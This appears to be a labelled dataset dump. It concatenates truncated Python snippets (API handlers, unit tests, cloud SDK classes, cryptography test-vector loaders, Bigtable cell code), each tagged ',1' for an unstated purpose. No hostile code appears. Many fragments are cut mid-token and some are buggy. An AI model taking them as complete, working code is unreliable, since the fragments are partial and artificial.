type(s) accepted by the client :resheader Content-Type: this depends on `Accept` header or request :>json string message: Action status status :status 200: Bot was deleted :status 404: Bot was not found """""" a = Bot.query.all().delete() db.session.commit() current_app.log.debug('Deleted {} abusehelper'.format(a)) return {'message': 'Bots deleted'} ",1 "f, date, life): """"""Set birth datetime and life."""""" self.birthdate = date self.life = life finalyear = self.birthdate.year + self.life finaldate = datetime.datetime(finalyear, self.birthdate.month, self.birthdate.day) self.finaldate = finaldate - datetime.timedelta(days=1) def now(self): """"""Calculate current time."""""" curdate = datetime.datetime.now() maxdays = (self.finaldate - self.birthdate).days curdays = (curdate - self.birthdate).days curtime = datetime.timedelta(days=1) / maxdays curtime = curtime * curdays return datetime.time( (curtime.seconds / 60) / 60, (curtime.seconds / 60) % 60, curtime.seconds % 60) if __name__ == '__main__': # options startyear = 1900 endyear = 2000 life = 200 print startyear, ""<= a <="", endyear print ""n ="", life daycount = (datetime.datetime(endyear, 12, 31) - datetime.datetime(startyear, 1, 1)).days birthdate = datetime.datetime(startyear, 1, 1) + \ datetime.timedelta(days=random.randint(0, daycount)) args = sys.argv if len(args) == 4: year = int(args[1]) month = int(args[2]) date = int(args[3]) birthdate = datetime.datetime(year, month, date) print ""birthdate:"", birthdate.date() mylife = DayLife(birthdate, life) print ""finaldate:"", mylife.finaldate.date() print ""today:"", mylife.now() ",1 "ker/cy_data_validation"") from datetime import time from time_conv import Time class TimeTestCase(unittest.TestCase): ''' Tests with numbered degrees of bad or good data, on a scale of 0=baddest to 10=goodest ''' def setUp(self): self.time = Time.check_time("""") # A string def test_vbad0(self): self.time = Time.check_time(""iutoeht"") correct_time = time(00, 00, 00) self.assertEqual( correct_time, self.time) # An out of range whole number def test_bad1(self): self.time = Time.check_time(""52304"") correct_time = time(00, 00, 00) self.assertEqual( correct_time, self.time) # Two out of range whole numbers def test_bad2(self): self.time = Time.check_time(""70 80"") correct_time = time(23, 59, 00) self.assertEqual( correct_time, self.time) # hours, minutes and seconds formatted crap def test_middle3(self): self.time = Time.check_time(""03 - 32/74"") correct_time = time(3, 32, 59) self.assertEqual( correct_time, self.time) # : in between hours and minutes def test_good4(self): self.time = Time.check_time(""03:32:50"") correct_time = time(3, 32, 50) self.assertEqual( correct_time, self.time) # removing am or pm def test_vgood5(self): self.time = Time.check_time(""3:35pm"") correct_time = time(15, 35, 00) self.assertEqual( correct_time, self.time) def tearDown(self): self.time = """" correct_time = """" if __name__ == '__main__': unittest.main() ",1 " tuple: (the substring of a path after the last nodeSeparator, the preceding path before it) If 'base' includes its own baseSeparator - return only a string after it So if a path is 'OU=Group,OU=Dept,OU=Company', the tuple result would be ('OU=Group,OU=Dept', 'Company') """""" node_separator = ',' base_separator = '=' node_base = path[path.rfind(node_separator) + 1:] if path.find(node_separator) != -1: node_preceding = path[:len(path) - len(node_base) - 1] else: node_preceding = '' return (node_preceding, node_base[node_base.find(base_separator) + 1:]) def _place_user_onto_tree(user, usertree, user_groups): """""" Places a 'user' object on a 'usertree' object according to user's pathField string key """""" curr_node = usertree # Decompose 'OU=Group,OU=Dept,OU=Company' into ('OU=Group,OU=Dept', 'Company') preceding, base = _node_base_and_rest(user['distinguishedName']) full_node_path = '' # Place all path groups onto a tree starting from the outermost while base != '': node_found = False full_node_path = 'OU=' + base + (',' if full_node_path != '' else '') + full_node_path # Search for corresponding base element on current hierarchy level for obj in curr_node: if obj.get('text') == None: continue if obj['text'] == base: node_found = True curr_node = obj['children'] break # Create a new group node if not node_found: curr_node.append({ 'id': 'usergroup_' + str(user_groups[full_node_path]), 'text': base, 'objectType': 'UserGroup', 'children': [] }) curr_node = curr_node[len(curr_node) - 1]['children'] preceding, base = _node_base_and_rest(preceding) curr_node.append({ 'id': 'user_' + str(user['id']), 'text': user['cn'], 'leaf': True, 'iconCls': 'x-fa fa-user' if user['status'] == 1 else 'x-fa fa-user-times', 'objectType': 'User' }) def _sort_tree(subtree, sort_field): """""" Sorts a subtree node by a sortField key of each element """""" # Sort eval function, first by group property, then by text subtree['children'] = sorted( subtree['children'], key=lambda obj: (1 if obj.get('children') == None else 0, obj[sort_field])) for tree_elem in subtree['children']: if tree_elem.get('children') != None: _sort_tree(tree_elem, sort_field) def _collapse_terminal_nodes(subtree): """""" Collapses tree nodes which doesn't contain subgroups, just tree leaves """""" subtree_has_group_nodes = False for tree_elem in subtree['children']: if tree_elem.get('children') != None: subtree_has_group_nodes = True _collapse_terminal_nodes(tree_elem) subtree['expanded'] = subtree_has_group_nodes def _expand_all_nodes(subtree): """""" Expand all level nodes """""" for tree_elem in subtree['children']: if tree_elem.get('children') != None: _expand_all_nodes(tree_elem) subtree['expanded'] = True def _get_user_tree(current_user_properties, Session): """""" Build user tree """""" current_user_permissions = current_user_properties['user_permissions'] session = Session() # Get all groups query_result = session.query(UserGroup.id, UserGroup.distinguishedName).all() user_groups = {} for query_result_row in query_result: user_groups[query_result_row.distinguishedName] = query_result_row.id # Get all users if ViewUsers permission present if next((item for item in current_user_permissions if item['permissionName'] == 'ViewUsers'), None) != None: query_result = session.query( User.id.label('user_id'), User.cn, User.status, UserGroup.id.label('usergroup_id'), UserGroup.distinguishedName).join(UserGroup).filter(User.hidden == 0).all() # Get just the requester otherwise else: query_result = session.query( User.id.label('user_id'), User.cn, User.status, UserGroup.id.label('usergroup_id'), UserGroup.distinguishedName).join(UserGroup).\ filter(User.id == current_user_properties['user_object']['id'], User.hidden == 0).all() Session.remove() # Future tree user_tree = [] # Place each user on a tree for query_result_row in query_result: user_object = { 'id': query_result_row.user_id, 'distinguishedName': query_result_row.distinguishedName, 'status': query_result_row.status, 'cn': query_result_row.cn } _place_user_onto_tree(user_object, user_tree, user_groups) user_tree = { 'id': 'usergroup_0', 'objectType': 'UserGroup', 'text': 'Пользователи', 'children': user_tree } # Sort tree elements _sort_tree(user_tree, 'text') # Collapse/expand tree nodes if next((item for item in current_user_permissions if item['permissionName'] == 'ViewUsers'), None) != None: _collapse_terminal_nodes(user_tree) else: _expand_all_nodes(user_tree) return user_tree def _get_url_lists(Session): """""" Get URL lists """""" session = Session() # Get all urllists from DB query_result = session.query(UrlList.id, UrlList.name, UrlList.whitelist).all() Session.remove() urllist_list = [] # Making a list of them for query_result_row in query_result: url_list_object = { 'id': 'urllist_' + str(query_result_row.id), 'text': query_result_row.name, 'leaf': True, 'iconCls': 'x-fa fa-unlock' if query_result_row.whitelist else 'x-fa fa-lock', 'objectType': 'UrlList' } urllist_list.append(url_list_object) url_lists = { 'id': 'urllists', 'objectType': 'UrlLists', 'text': 'Списки URL', 'iconCls': 'x-fa fa-cog', 'children': urllist_list } # Sort tree elements _sort_tree(url_lists, 'text') return url_lists def _get_acls(Session): """""" Get ACLs """""" session = Session() # Get all access control lists from DB query_result = session.query(Acl.id, Acl.name).all() Session.remove() acl_list = [] # Making a list of them for query_result_row in query_result: acl_object = { 'id': 'acl_' + str(query_result_row.id), 'text': query_result_row.name, 'leaf': True, 'iconCls': 'x-fa fa-filter', 'objectType': 'AclContents' } acl_list.append(acl_object) acls = { 'id': 'acls', 'objectType': 'Acls', 'text': 'Списки доступа', 'iconCls': 'x-fa fa-cog', 'children': acl_list } # Sort tree elements _sort_tree(acls, 'text') return acls def _get_roles(Session): """""" Get user roles """""" session = Session() # Get all roles from DB query_result = session.query(Role.id, Role.name).all() Session.remove() roles_list = [] # Making a list of them for query_result_row in query_result: role_object = { 'id': 'role_' + str(query_result_row.id), 'text': query_result_row.name, 'leaf': True, 'iconCls': 'x-fa fa-key', 'objectType': 'Role' } roles_list.append(role_object) roles = { 'id': 'roles', 'objectType': 'Roles', 'text': 'Роли', 'iconCls': 'x-fa fa-cog', 'children': roles_list } # Sorting tree elements _sort_tree(roles, 'text') return roles def select_tree(current_user_properties, node_name, Session): url_lists_node = None acls_node = None roles_node = None users_node = None current_user_permissions = current_user_properties['user_permissions'] if next((item for item in current_user_permissions if item['permissionName'] == 'ViewSettings'), None) != None: if node_name in ['root', 'urllists']: url_lists_node = _get_url_lists(Session) if node_name in ['root', 'acls']: acls_node = _get_acls(Session) if next((item for item in current_user_permissions if item['permissionName'] == 'ViewPermissions'), None) != None: if node_name in ['root', 'roles']: roles_node = _get_roles(Session) if node_name in ['root']: users_node = _get_user_tree(current_user_properties, Session) if node_name == 'root': children_list = [] if url_lists_node is not None: children_list.append(url_lists_node) if acls_node is not None: children_list.append(acls_node) if roles_node is not None: children_list.append(roles_node) if users_node is not None: children_list.append(users_node) result = { 'success': True, 'children': children_list } elif node_name == 'urllists': if next((item for item in current_user_permissions if item['permissionName'] == 'ViewSettings'), None) != None: result = { 'success': True, 'children': url_lists_node['children'] } else: return Response('Forbidden', 403) elif node_name == 'acls': if next((item for item in current_user_permissions if item['permissionName'] == 'ViewSettings'), None) != None: result = { 'success': True, 'children': acls_node['children'] } else: return Response('Forbidden', 403) elif node_name == 'roles': if next((item for item in current_user_permissions if item['permissionName'] == 'ViewPermissions'), None) != None: result = { 'success': True, 'children': roles_node['children'] } else: return Response('Forbidden', 403) return jsonify(result) ",1 "l from ..resources.resource import Resource from ..resources.licenseinfo import LicenseInfo from ...util import Util import saklient str = six.text_type # module saklient.cloud.models.model_licenseinfo class Model_LicenseInfo(Model): ## ライセンス種別情報を検索するための機能を備えたクラス。 ## @private # @return {str} def _api_path(self): return ""/product/license"" ## @private # @return {str} def _root_key(self): return ""LicenseInfo"" ## @private # @return {str} def _root_key_m(self): return ""LicenseInfo"" ## @private # @return {str} def _class_name(self): return ""LicenseInfo"" ## @private # @param {any} obj # @param {bool} wrapped=False # @return {saklient.cloud.resources.resource.Resource} def _create_resource_impl(self, obj, wrapped=False): Util.validate_type(wrapped, ""bool"") return LicenseInfo(self._client, obj, wrapped) ## 次に取得するリストの開始オフセットを指定します。 # # @param {int} offset オフセット # @return {saklient.cloud.models.model_licenseinfo.Model_LicenseInfo} this def offset(self, offset): Util.validate_type(offset, ""int"") return self._offset(offset) ## 次に取得するリストの上限レコード数を指定します。 # # @param {int} count 上限レコード数 # @return {saklient.cloud.models.model_licenseinfo.Model_LicenseInfo} this def limit(self, count): Util.validate_type(count, ""int"") return self._limit(count) ## Web APIのフィルタリング設定を直接指定します。 # # @param {str} key キー # @param {any} value 値 # @param {bool} multiple=False valueに配列を与え、OR条件で完全一致検索する場合にtrueを指定します。通常、valueはスカラ値であいまい検索されます。 # @return {saklient.cloud.models.model_licenseinfo.Model_LicenseInfo} def filter_by(self, key, value, multiple=False): Util.validate_type(key, ""str"") Util.validate_type(multiple, ""bool"") return self._filter_by(key, value, multiple) ## 次のリクエストのために設定されているステートをすべて破棄します。 # # @return {saklient.cloud.models.model_licenseinfo.Model_LicenseInfo} this def reset(self): return self._reset() ## 指定したIDを持つ唯一のリソースを取得します。 # # @param {str} id # @return {saklient.cloud.resources.licenseinfo.LicenseInfo} リソースオブジェクト def get_by_id(self, id): Util.validate_type(id, ""str"") return self._get_by_id(id) ## リソースの検索リクエストを実行し、結果をリストで取得します。 # # @return {saklient.cloud.resources.licenseinfo.LicenseInfo[]} リソースオブジェクトの配列 def find(self): return self._find() ## 指定した文字列を名前に含むリソースに絞り込みます。 # # 大文字・小文字は区別されません。 # 半角スペースで区切られた複数の文字列は、それらをすべて含むことが条件とみなされます。 # # @todo Implement test case # @param {str} name # @return {saklient.cloud.models.model_licenseinfo.Model_LicenseInfo} def with_name_like(self, name): Util.validate_type(name, ""str"") return self._with_name_like(name) ## 名前でソートします。 # # @todo Implement test case # @param {bool} reverse=False # @return {saklient.cloud.models.model_licenseinfo.Model_LicenseInfo} def sort_by_name(self, reverse=False): Util.validate_type(reverse, ""bool"") return self._sort_by_name(reverse) ## @ignore # @param {saklient.cloud.client.Client} client def __init__(self, client): super(Model_LicenseInfo, self).__init__(client) Util.validate_type(client, ""saklient.cloud.client.Client"") ",1 "or t in range(-135, 135): x = round(halfsize + halfsize * cos(pi * t / 180)) y = round(halfsize + halfsize * sin(pi * t / 180)) picture[x][y] = 1 zoomsz = 1 * halfsize b = Glyph(['O', 0, 0, size, size, 0, 0, 0, 0, None]) b.set_pix(picture) c = Glyph() for t in range(0, 360, 15): x = round(zoomsz + zoomsz * cos(pi * t / 180)) y = round(zoomsz + zoomsz * sin(pi * t / 180)) b.set_xy_wh((x, y, size, size)) c = c + b print(b) print(c)",1 " the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """"""Tests for nova websocketproxy."""""" import mock from nova.console import websocketproxy from nova import exception from nova import test class NovaProxyRequestHandlerBaseTestCase(test.TestCase): def setUp(self): super(NovaProxyRequestHandlerBaseTestCase, self).setUp() self.wh = websocketproxy.NovaProxyRequestHandlerBase() self.wh.socket = mock.MagicMock() self.wh.msg = mock.MagicMock() self.wh.do_proxy = mock.MagicMock() self.wh.headers = mock.MagicMock() @mock.patch('nova.consoleauth.rpcapi.ConsoleAuthAPI.check_token') def test_new_websocket_client(self, check_token): check_token.return_value = { 'host': 'node1', 'port': '10000' } self.wh.socket.return_value = '' self.wh.path = ""ws://127.0.0.1/?token=123-456-789"" self.wh.new_websocket_client() check_token.assert_called_with(mock.ANY, token=""123-456-789"") self.wh.socket.assert_called_with('node1', 10000, connect=True) self.wh.do_proxy.assert_called_with('') @mock.patch('nova.consoleauth.rpcapi.ConsoleAuthAPI.check_token') def test_new_websocket_client_token_invalid(self, check_token): check_token.return_value = False self.wh.path = ""ws://127.0.0.1/?token=XXX"" self.assertRaises(exception.InvalidToken, self.wh.new_websocket_client) check_token.assert_called_with(mock.ANY, token=""XXX"") @mock.patch('nova.consoleauth.rpcapi.ConsoleAuthAPI.check_token') def test_new_websocket_client_novnc(self, check_token): check_token.return_value = { 'host': 'node1', 'port': '10000' } self.wh.socket.return_value = '' self.wh.path = ""http://127.0.0.1/"" self.wh.headers.getheader.return_value = ""token=123-456-789"" self.wh.new_websocket_client() check_token.assert_called_with(mock.ANY, token=""123-456-789"") self.wh.socket.assert_called_with('node1', 10000, connect=True) self.wh.do_proxy.assert_called_with('') @mock.patch('nova.consoleauth.rpcapi.ConsoleAuthAPI.check_token') def test_new_websocket_client_novnc_token_invalid(self, check_token): check_token.return_value = False self.wh.path = ""http://127.0.0.1/"" self.wh.headers.getheader.return_value = ""token=XXX"" self.assertRaises(exception.InvalidToken, self.wh.new_websocket_client) check_token.assert_called_with(mock.ANY, token=""XXX"") @mock.patch('nova.consoleauth.rpcapi.ConsoleAuthAPI.check_token') def test_new_websocket_client_internal_access_path(self, check_token): check_token.return_value = { 'host': 'node1', 'port': '10000', 'internal_access_path': 'vmid' } tsock = mock.MagicMock() tsock.recv.return_value = ""HTTP/1.1 200 OK\r\n\r\n"" self.wh.socket.return_value = tsock self.wh.path = ""ws://127.0.0.1/?token=123-456-789"" self.wh.new_websocket_client() check_token.assert_called_with(mock.ANY, token=""123-456-789"") self.wh.socket.assert_called_with('node1', 10000, connect=True) self.wh.do_proxy.assert_called_with(tsock) @mock.patch('nova.consoleauth.rpcapi.ConsoleAuthAPI.check_token') def test_new_websocket_client_internal_access_path_err(self, check_token): check_token.return_value = { 'host': 'node1', 'port': '10000', 'internal_access_path': 'xxx' } tsock = mock.MagicMock() tsock.recv.return_value = ""HTTP/1.1 500 Internal Server Error\r\n\r\n"" self.wh.socket.return_value = tsock self.wh.path = ""ws://127.0.0.1/?token=123-456-789"" self.assertRaises(Exception, self.wh.new_websocket_client) # noqa check_token.assert_called_with(mock.ANY, token=""123-456-789"") ",1 "t_insert_cmd, base_col_def, print_tree import sqlite3 from misura.canon.tests import testdir db = testdir + 'storage/tmpdb' c1 = testdir + 'storage/Conf.csv' def go(t): o = option.Option(**{'handle': t, 'type': t}) o.validate() return o class SqlStore(unittest.TestCase): @classmethod def setUpClass(cls): if os.path.exists(db): os.remove(db) cls.conn = sqlite3.connect(db, detect_types=sqlite3.PARSE_DECLTYPES) st0 = option.CsvStore(kid='/base/') st0.merge_file(c1) st0.validate() cls.desc = st0.desc def test_get_typed_cols(self): print(get_typed_cols(go('Integer'))) print(get_typed_cols(go('String'))) print(get_typed_cols(go('Point'))) print(get_typed_cols(go('Role'))) print(get_typed_cols(go('RoleIO'))) print(get_typed_cols(go('Log'))) print(get_typed_cols(go('Meta'))) def test_get_insert_cmd(self): print(get_insert_cmd(go('Integer'), base_col_def)) print(get_insert_cmd(go('String'), base_col_def)) print(get_insert_cmd(go('Point'), base_col_def)) print(get_insert_cmd(go('Role'), base_col_def)) print(get_insert_cmd(go('RoleIO'), base_col_def)) print(get_insert_cmd(go('Log'), base_col_def)) print(get_insert_cmd(go('Meta'), base_col_def)) def test_column_definition(self): s = option.SqlStore() print(s.column_definition(go('Integer'))[1]) print(s.column_definition(go('String'))[1]) print(s.column_definition(go('Point'))[1]) print(s.column_definition(go('Role'))[1]) print(s.column_definition(go('RoleIO'))[1]) print(s.column_definition(go('Log'))[1]) print(s.column_definition(go('Meta'))[1]) def test_write_desc(self): s = option.SqlStore() s.cursor = self.conn.cursor() s.write_desc(self.desc) print('READING') r = s.read_tree() print(r) print('print(tree\n', print_tree(r)) print('WRITING AGAIN') s.write_tree(r) print(""READING AGAIN"") r = s.read_tree() print(r) print('print(tree2\n', print_tree(r)) # @unittest.skip('') def test_tables(self): st0 = option.CsvStore(kid='ciao') st0.merge_file(c1) st = option.SqlStore(kid='ciao') st.desc = st0.desc k0 = set(st.desc.keys()) cursor = self.conn.cursor() st.write_table(cursor, 'conf1') self.conn.commit() cursor.execute('select handle from conf1') r = cursor.fetchall() k1 = set([eval(k[0]) for k in r]) self.assertEqual(k0, k1) st2 = option.SqlStore(kid='ciao') st2.read_table(cursor, 'conf1') self.assertEqual(st.desc, st2.desc) if __name__ == ""__main__"": unittest.main() ",1 "return format_line(prefix='fans'.rjust(RJUST), values=fans) def format_rpms(rpms): return format_line(prefix='rpms'.rjust(RJUST), values=rpms) def format_pwms(pwms): return format_line(prefix='pwms'.rjust(RJUST), values=pwms) def format_tmps(tmps): return format_line(prefix='temps'.rjust(RJUST), values=tmps) def format_names(names): return format_line(prefix='names'.rjust(RJUST), values=names) def format_ports(ports): return format_line(prefix='ports'.rjust(RJUST), values=ports) def format_temps(temps): return format_line(prefix='temps'.rjust(RJUST), values=temps) def format_ambients(ambients): return format_line(prefix='ambients'.rjust(RJUST), values=ambients) def format_limits(limits): return format_line(prefix='limits'.rjust(RJUST), values=limits) def format_buffers(buffers): return format_line(prefix='buffers'.rjust(RJUST), values=buffers) def format_headrooms(headrooms): return format_line(prefix='headrooms'.rjust(RJUST), values=headrooms) def format_directions(directions): return format_line(prefix='directions'.rjust(RJUST), values=directions) def format_differences(differences): return format_line(prefix='differences'.rjust(RJUST), values=differences) def format_pwms_new(pwms_new): return format_line(prefix='new pwms'.rjust(RJUST), values=pwms_new) def format_line(prefix, values): line = '' line += prefix line += ': ' line += '[' for value in values: try: if value >= 1: value = int(round(value, 0)) if 1 > value != 0: value = str(value)[1:4].ljust(3, '0') except TypeError: # value is None pass value = str(value) if value is not None else '' line += value.rjust(6) line += ', ' line = line[:-len(', ')] line += ']' return line ",1 "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import absolute_import, division, print_function import collections from contextlib import contextmanager import pytest import six from cryptography.exceptions import UnsupportedAlgorithm import cryptography_vectors HashVector = collections.namedtuple(""HashVector"", [""message"", ""digest""]) KeyedHashVector = collections.namedtuple( ""KeyedHashVector"", [""message"", ""digest"", ""key""] ) def select_backends(names, backend_list): if names is None: return backend_list split_names = [x.strip() for x in names.split(',')] # this must be duplicated and then removed to preserve the metadata # pytest associates. Appending backends to a new list doesn't seem to work selected_backends = [] for backend in backend_list: if backend.name in split_names: selected_backends.append(backend) if len(selected_backends) > 0: return selected_backends else: raise ValueError( ""No backend selected. Tried to select: {0}"".format(split_names) ) def check_for_iface(name, iface, item): if name in item.keywords and ""backend"" in item.funcargs: if not isinstance(item.funcargs[""backend""], iface): pytest.skip(""{0} backend does not support {1}"".format( item.funcargs[""backend""], name )) def check_backend_support(item): supported = item.keywords.get(""supported"") if supported and ""backend"" in item.funcargs: if not supported.kwargs[""only_if""](item.funcargs[""backend""]): pytest.skip(""{0} ({1})"".format( supported.kwargs[""skip_message""], item.funcargs[""backend""] )) elif supported: raise ValueError(""This mark is only available on methods that take a "" ""backend"") @contextmanager def raises_unsupported_algorithm(reason): with pytest.raises(UnsupportedAlgorithm) as exc_info: yield exc_info assert exc_info.value._reason is reason def load_vectors_from_file(filename, loader): with cryptography_vectors.open_vector_file(filename) as vector_file: return loader(vector_file) def load_nist_vectors(vector_data): test_data = None data = [] for line in vector_data: line = line.strip() # Blank lines, comments, and section headers are ignored if not line or line.startswith(""#"") or (line.startswith(""["") and line.endswith(""]"")): continue if line.strip() == ""FAIL"": test_data[""fail""] = True continue # Build our data using a simple Key = Value format name, value = [c.strip() for c in line.split(""="")] # Some tests (PBKDF2) contain \0, which should be interpreted as a # null character rather than literal. value = value.replace(""\\0"", ""\0"") # COUNT is a special token that indicates a new block of data if name.upper() == ""COUNT"": test_data = {} data.append(test_data) continue # For all other tokens we simply want the name, value stored in # the dictionary else: test_data[name.lower()] = value.encode(""ascii"") return data def load_cryptrec_vectors(vector_data): cryptrec_list = [] for line in vector_data: line = line.strip() # Blank lines and comments are ignored if not line or line.startswith(""#""): continue if line.startswith(""K""): key = line.split("" : "")[1].replace("" "", """").encode(""ascii"") elif line.startswith(""P""): pt = line.split("" : "")[1].replace("" "", """").encode(""ascii"") elif line.startswith(""C""): ct = line.split("" : "")[1].replace("" "", """").encode(""ascii"") # after a C is found the K+P+C tuple is complete # there are many P+C pairs for each K cryptrec_list.append({ ""key"": key, ""plaintext"": pt, ""ciphertext"": ct }) else: raise ValueError(""Invalid line in file '{}'"".format(line)) return cryptrec_list def load_hash_vectors(vector_data): vectors = [] key = None msg = None md = None for line in vector_data: line = line.strip() if not line or line.startswith(""#"") or line.startswith(""[""): continue if line.startswith(""Len""): length = int(line.split("" = "")[1]) elif line.startswith(""Key""): # HMAC vectors contain a key attribute. Hash vectors do not. key = line.split("" = "")[1].encode(""ascii"") elif line.startswith(""Msg""): # In the NIST vectors they have chosen to represent an empty # string as hex 00, which is of course not actually an empty # string. So we parse the provided length and catch this edge case. msg = line.split("" = "")[1].encode(""ascii"") if length > 0 else b"""" elif line.startswith(""MD""): md = line.split("" = "")[1] # after MD is found the Msg+MD (+ potential key) tuple is complete if key is not None: vectors.append(KeyedHashVector(msg, md, key)) key = None msg = None md = None else: vectors.append(HashVector(msg, md)) msg = None md = None else: raise ValueError(""Unknown line in hash vector"") return vectors def load_pkcs1_vectors(vector_data): """""" Loads data out of RSA PKCS #1 vector files. """""" private_key_vector = None public_key_vector = None attr = None key = None example_vector = None examples = [] vectors = [] for line in vector_data: if ( line.startswith(""# PSS Example"") or line.startswith(""# PKCS#1 v1.5 Signature"") ): if example_vector: for key, value in six.iteritems(example_vector): hex_str = """".join(value).replace("" "", """").encode(""ascii"") example_vector[key] = hex_str examples.append(example_vector) attr = None example_vector = collections.defaultdict(list) if line.startswith(""# Message to be signed""): attr = ""message"" continue elif line.startswith(""# Salt""): attr = ""salt"" continue elif line.startswith(""# Signature""): attr = ""signature"" continue elif ( example_vector and line.startswith(""# ============================================="") ): for key, value in six.iteritems(example_vector): hex_str = """".join(value).replace("" "", """").encode(""ascii"") example_vector[key] = hex_str examples.append(example_vector) example_vector = None attr = None elif example_vector and line.startswith(""#""): continue else: if attr is not None and example_vector is not None: example_vector[attr].append(line.strip()) continue if ( line.startswith(""# Example"") or line.startswith(""# ============================================="") ): if key: assert private_key_vector assert public_key_vector for key, value in six.iteritems(public_key_vector): hex_str = """".join(value).replace("" "", """") public_key_vector[key] = int(hex_str, 16) for key, value in six.iteritems(private_key_vector): hex_str = """".join(value).replace("" "", """") private_key_vector[key] = int(hex_str, 16) private_key_vector[""examples""] = examples examples = [] assert ( private_key_vector['public_exponent'] == public_key_vector['public_exponent'] ) assert ( private_key_vector['modulus'] == public_key_vector['modulus'] ) vectors.append( (private_key_vector, public_key_vector) ) public_key_vector = collections.defaultdict(list) private_key_vector = collections.defaultdict(list) key = None attr = None if private_key_vector is None or public_key_vector is None: continue if line.startswith(""# Private key""): key = private_key_vector elif line.startswith(""# Public key""): key = public_key_vector elif line.startswith(""# Modulus:""): attr = ""modulus"" elif line.startswith(""# Public exponent:""): attr = ""public_exponent"" elif line.startswith(""# Exponent:""): if key is public_key_vector: attr = ""public_exponent"" else: assert key is private_key_vector attr = ""private_exponent"" elif line.startswith(""# Prime 1:""): attr = ""p"" elif line.startswith(""# Prime 2:""): attr = ""q"" elif line.startswith(""# Prime exponent 1:""): attr = ""dmp1"" elif line.startswith(""# Prime exponent 2:""): attr = ""dmq1"" elif line.startswith(""# Coefficient:""): attr = ""iqmp"" elif line.startswith(""#""): attr = None else: if key is not None and attr is not None: key[attr].append(line.strip()) return vectors def load_rsa_nist_vectors(vector_data): test_data = None p = None salt_length = None data = [] for line in vector_data: line = line.strip() # Blank lines and section headers are ignored if not line or line.startswith(""[""): continue if line.startswith(""# Salt len:""): salt_length = int(line.split("":"")[1].strip()) continue elif line.startswith(""#""): continue # Build our data using a simple Key = Value format name, value = [c.strip() for c in line.split(""="")] if name == ""n"": n = int(value, 16) elif name == ""e"" and p is None: e = int(value, 16) elif name == ""p"": p = int(value, 16) elif name == ""q"": q = int(value, 16) elif name == ""SHAAlg"": if p is None: test_data = { ""modulus"": n, ""public_exponent"": e, ""salt_length"": salt_length, ""algorithm"": value, ""fail"": False } else: test_data = { ""modulus"": n, ""p"": p, ""q"": q, ""algorithm"": value } if salt_length is not None: test_data[""salt_length""] = salt_length data.append(test_data) elif name == ""e"" and p is not None: test_data[""public_exponent""] = int(value, 16) elif name == ""d"": test_data[""private_exponent""] = int(value, 16) elif name == ""Result"": test_data[""fail""] = value.startswith(""F"") # For all other tokens we simply want the name, value stored in # the dictionary else: test_data[name.lower()] = value.encode(""ascii"") return data def load_fips_dsa_key_pair_vectors(vector_data): """""" Loads data out of the FIPS DSA KeyPair vector files. """""" vectors = [] # When reading_key_data is set to True it tells the loader to continue # constructing dictionaries. We set reading_key_data to False during the # blocks of the vectors of N=224 because we don't support it. reading_key_data = True for line in vector_data: line = line.strip() if not line or line.startswith(""#""): continue elif line.startswith(""[mod = L=1024""): continue elif line.startswith(""[mod = L=2048, N=224""): reading_key_data = False continue elif line.startswith(""[mod = L=2048, N=256""): reading_key_data = True continue elif line.startswith(""[mod = L=3072""): continue if not reading_key_data: continue elif reading_key_data: if line.startswith(""P""): vectors.append({'p': int(line.split(""="")[1], 16)}) elif line.startswith(""Q""): vectors[-1]['q'] = int(line.split(""="")[1], 16) elif line.startswith(""G""): vectors[-1]['g'] = int(line.split(""="")[1], 16) elif line.startswith(""X"") and 'x' not in vectors[-1]: vectors[-1]['x'] = int(line.split(""="")[1], 16) elif line.startswith(""X"") and 'x' in vectors[-1]: vectors.append({'p': vectors[-1]['p'], 'q': vectors[-1]['q'], 'g': vectors[-1]['g'], 'x': int(line.split(""="")[1], 16) }) elif line.startswith(""Y""): vectors[-1]['y'] = int(line.split(""="")[1], 16) return vectors ",1 "pt in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """"""Container for Google Cloud Bigtable Cells and Streaming Row Contents."""""" import copy import six from gcloud._helpers import _datetime_from_microseconds from gcloud._helpers import _to_bytes class Cell(object): """"""Representation of a Google Cloud Bigtable Cell. :type value: bytes :param value: The value stored in the cell. :type timestamp: :class:`datetime.datetime` :param timestamp: The timestamp when the cell was stored. :type labels: list :param labels: (Optional) List of strings. Labels applied to the cell. """""" def __init__(self, value, timestamp, labels=()): self.value = value self.timestamp = timestamp self.labels = list(labels) @classmethod def from_pb(cls, cell_pb): """"""Create a new cell from a Cell protobuf. :type cell_pb: :class:`._generated.data_pb2.Cell` :param cell_pb: The protobuf to convert. :rtype: :class:`Cell` :returns: The cell corresponding to the protobuf. """""" timestamp = _datetime_from_microseconds(cell_pb.timestamp_micros) if cell_pb.labels: return cls(cell_pb.value, timestamp, labels=cell_pb.labels) else: return cls(cell_pb.value, timestamp) def __eq__(self, other): if not isinstance(other, self.__class__): return False return (other.value == self.value and other.timestamp == self.timestamp and other.labels == self.labels) def __ne__(self, other): return not self.__eq__(other) class PartialCellData(object): """"""Representation of partial cell in a Google Cloud Bigtable Table. These are expected to be updated directly from a :class:`._generated.bigtable_service_messages_pb2.ReadRowsResponse` :type row_key: bytes :param row_key: The key for the row holding the (partial) cell. :type family_name: str :param family_name: The family name of the (partial) cell. :type qualifier: bytes :param qualifier: The column qualifier of the (partial) cell. :type timestamp_micros: int :param timestamp_micros: The timestamp (in microsecods) of the (partial) cell. :type labels: list of str :param labels: labels assigned to the (partial) cell :type value: bytes :param value: The (accumulated) value of the (partial) cell. """""" def __init__(self, row_key, family_name, qualifier, timestamp_micros, labels=(), value=b''): self.row_key = row_key self.family_name = family_name self.qualifier = qualifier self.timestamp_micros = timestamp_micros self.labels = labels self.value = value def append_value(self, value): """"""Append bytes from a new chunk to value. :type value: bytes :param value: bytes to append """""" self.value += 